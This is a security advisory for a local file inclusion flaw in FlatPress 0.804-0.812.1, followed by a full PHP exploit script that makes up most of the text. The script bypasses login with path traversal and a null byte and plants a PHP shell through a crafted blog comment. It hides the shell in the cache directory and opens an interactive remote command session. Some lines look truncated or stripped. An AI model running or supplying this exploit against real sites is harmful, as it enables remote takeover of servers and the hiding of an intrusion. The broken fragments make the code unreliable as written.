============================================================ FlatPress 0.804 - 0.812.1 local file inclusion vulnerability ============================================================ Product Information ------------------- FlatPress is an open-source standard-compliant multi-lingual extensible blogging engine written in PHP by Edoardo Vacchi. Website: http://www.flatpress.org Vulnerability Description ------------------------- The versions 0.804 through 0.812.1 are resulting to be prone to a nasty LFI vulnerability which can be exploited to have RCE (Remote Command Execution). The piece of code involved is in the fp-includes/core/core.users.php directory in the user_get() function as showed below. function user_get($userid=null){ if ($userid == null && ($user = user_loggedin())) { return $user; } if (file_exists($f = USERS_DIR . $userid.".php")) { include($f); return $user; } } It is possible to create a crafted comment for an article, and inject PHP code into the "web link" field, which is not properly validated. Then, a remote attacker could use this code to execute shell commands remotely, eventually hiding his own tracks (e.g. deleting the injected comment). Disclosure timeline ------------------- DD/MM/YYYY * 24/09/2009: Vulnerability discovery and analysis; * 26/09/2009: The vendor was notificated via e-mail; * 26/09/2009: Vendor response and a new release publicly available; * 27/09/2009: The researcher starts coding the exploit; * 29/09/2009: Exploit complete and tested. Workaroud --------- Update to the newer version 0.812.2 Shouts ------ Thank you (you-know-who) :-) Exploit ------- * * Description: FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution * vulnerability exploit (fp-includes/core/core.users.php). * This code posts a crafted comment with a very simple PHP shell. * It exploits the LFI, hides the shell in the cache directory * and starts a remote command session via POST. * * Syntax: php fp-lfi2rce.php [action] [lang] [shell] * : the hostname or IP address of your target; * : the path where FlatPress was installed; * [action]: the action to take against the host system (test, attack); * [lang]: the remote language used (en, it);"; * [shell]: if already exploited, you could just have the shell name. * * Dependencies: php5-curl. * * Examples: * php fp-lfi2rce.php www.example.com / => will test * php fp-lfi2rce.php www.example.com /blog attack => will attack * php fp-lfi2rce.php www.example.com /flatpress attack en 12345678.php => start remote session */ /* GET request, returns the page */ function get_url_contents($crl, $url) { curl_setopt($crl, CURLOPT_URL, $url); curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt'); curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt'); $ret = curl_exec($crl); return $ret; } /* POST request */ function post_url_fields($crl, $url, $fields) { curl_setopt($crl, CURLOPT_URL, $url); curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($crl, CURLOPT_POST, 1); curl_setopt($crl, CURLOPT_POSTFIELDS, $fields); curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt'); curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt'); $ret = curl_exec($crl); return $ret; } /* Execute remote command, returns the output */ function fp_exec($crl, $sh, $cmd) { $ret = post_url_fields($crl, $sh, "c=$cmd"); if ($ret) { $pos1 = strpos($ret, 'http://www.aaa') + 14; $pos2 = strpos($ret, 'aaa.com', $pos1); $result = substr($ret, $pos1, $pos2-$pos1); return $result; } else return false; } /* Starts a remote command session */ function fp_shell($crl, $sh) { echo "\nStarting remote command session, type 'quit' or 'exit' to exit.\n"; echo "\nremote> "; $line = trim(fgets(STDIN)); while (($line != 'exit') && ($line != 'quit')) { if ($line != "") { if ($ret = fp_exec($crl, $sh, $line)) { echo "\n$ret"; } else echo "\nError.\n"; } echo "\nremote> "; $line = trim(fgets(STDIN)); } } function fail($crl, $str) { curl_close($crl); die($str); } echo "\n Author: Giuseppe `Zmax` Fuggiano \n"; echo "\n"; echo " Description: FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution\n"; echo " vulnerability exploit (fp-includes/core/core.users.php).\n"; echo " This code posts a crafted comment with a very simple PHP shell.\n"; echo " It exploits the LFI, hides the shell in the cache directory\n"; echo " and starts a remote command session via POST.\n"; echo "\n"; echo " Syntax: $argv[0] [action] [lang] [shell]\n"; echo " : the hostname or IP address of your target;\n"; echo " : the path where FlatPress was installed;\n"; echo " [action]: the action to take against the host system (test, attack);\n"; echo " [lang]: the remote language used (en, it);\n"; echo " [shell]: if already exploited, you could just have the shell name.\n"; echo "\n"; echo " Examples:\n"; echo " php $argv[0] www.example.com / => will test\n"; echo " php $argv[0] www.example.com /blog attack => will attack\n"; echo " php $argv[0] www.example.com /flatpress attack en 12345678.php => start remote session\n\n"; $crl = curl_init(); if ($argc < 3 || $argv[2] == '--help' || $argv[2] == '-h') die(); $HOST = $argv[1]; $PATH = $argv[2]; if (isset($argv[3])) $ACTION = $argv[3]; else $ACTION = 'test'; if (isset($argv[4])) $LANG = $argv[4]; else $LANG = 'en'; switch ($LANG) { case 'it': $LANGARRAY = array('aaspam' => 'Per prevenire abusi del sistema di commenti, ' . 'ti chiediamo di scrivere il risultato di ' . 'questa semplice operazione matematica', 'sum' => 'sommare', 'subtract' => 'togli'); break; default: /* en */ $LANGARRAY = array('aaspam' => 'As a way to prevent abuses of this commenting system, ' . 'we must ask you to give the result of this simple ' . 'mathematical operation', 'sum' => 'sum', 'subtract' => 'subtract'); break; } if (isset($argv[5])) { $SHELL = $argv[5]; fp_shell($crl, "fp-content/cache/$SHELL"); curl_close($crl); exit(); } else $SHELL = 'unknown'; echo " Host: $HOST\n"; echo " Path: $PATH\n"; echo " Lang: $LANG\n"; echo " Shell: $SHELL\n\n"; echo " [+] Vulnerability test: "; $form = "user=../../admin&pass=".rand()."&submit=Login"; $loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form); if (strpos($loginpage, '"); $mathstr = substr($commentpage, $mathpos, strlen($commentpage)-$mathpos); $operation = strtok($mathstr, " "); switch ($operation) { case $LANGARRAY['sum']: $first = strtok(' '); $to = strtok(' '); $second = strtok(' '); $result = $first + $second; break; case $LANGARRAY['subtract']: $first = strtok(' '); $from = strtok(' '); $second = strtok(' '); $result = $second - $first; break; case (is_numeric($operation) ? $operation : ""): $first = $operation; $times = strtok(' '); $second = strtok(' '); $result = $first * $second; break; default: fail($crl, "FAIL!\n\n"); } echo "$result\n"; echo " * Posting crafted comment...\n"; $random = rand(); $form = 'name='.$random.'&[email protected]&url=http://www.aaa\aaa.com' . '&aaspam='.$result.'&content=foo&submit=Add'; post_url_fields($crl, "$HOST/$PATH/?x=entry:$entry;comments:1", $form); $commentpage = get_url_contents($crl, "$HOST/$PATH/?x=entry:$entry;comments:1"); echo " * Searching comment name: "; if (preg_match_all("/comment[0-9][0-9][0-9][0-9][0-9][0-9]-[0-9][0-9][0-9][0-9][0-9][0-9]/", $commentpage, $comments, PREG_PATTERN_ORDER)) { $commententry = end($comments[0]); echo "$commententry\n"; } else fail($crl, "FAIL!\n\n"); $year = substr($entry, 5, 2); $month = substr($entry, 7, 2); $commentpath = "content/$year/$month/$entry/comments/$commententry.txt"; echo " * Hiding tracks: "; $SHELL = rand().'.php'; $form = "user=../$commentpath%00a&pass=".rand()."&submit=Login" . "&c=mv -f fp-content/$commentpath fp-content/cache/$SHELL"; $loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form); if (strpos($loginpage, 'http://www.aaa') && strpos($loginpage, 'aaa.com')) { echo "ok\n\n"; echo " [+] Your shell: fp-content/cache/$SHELL\n"; } else fail($crl, "FAIL!\n\n"); fp_shell($crl, "$HOST/$PATH/fp-content/cache/$SHELL"); curl_close($crl); exit(); ?> # 0day.today [2018-02-15] #

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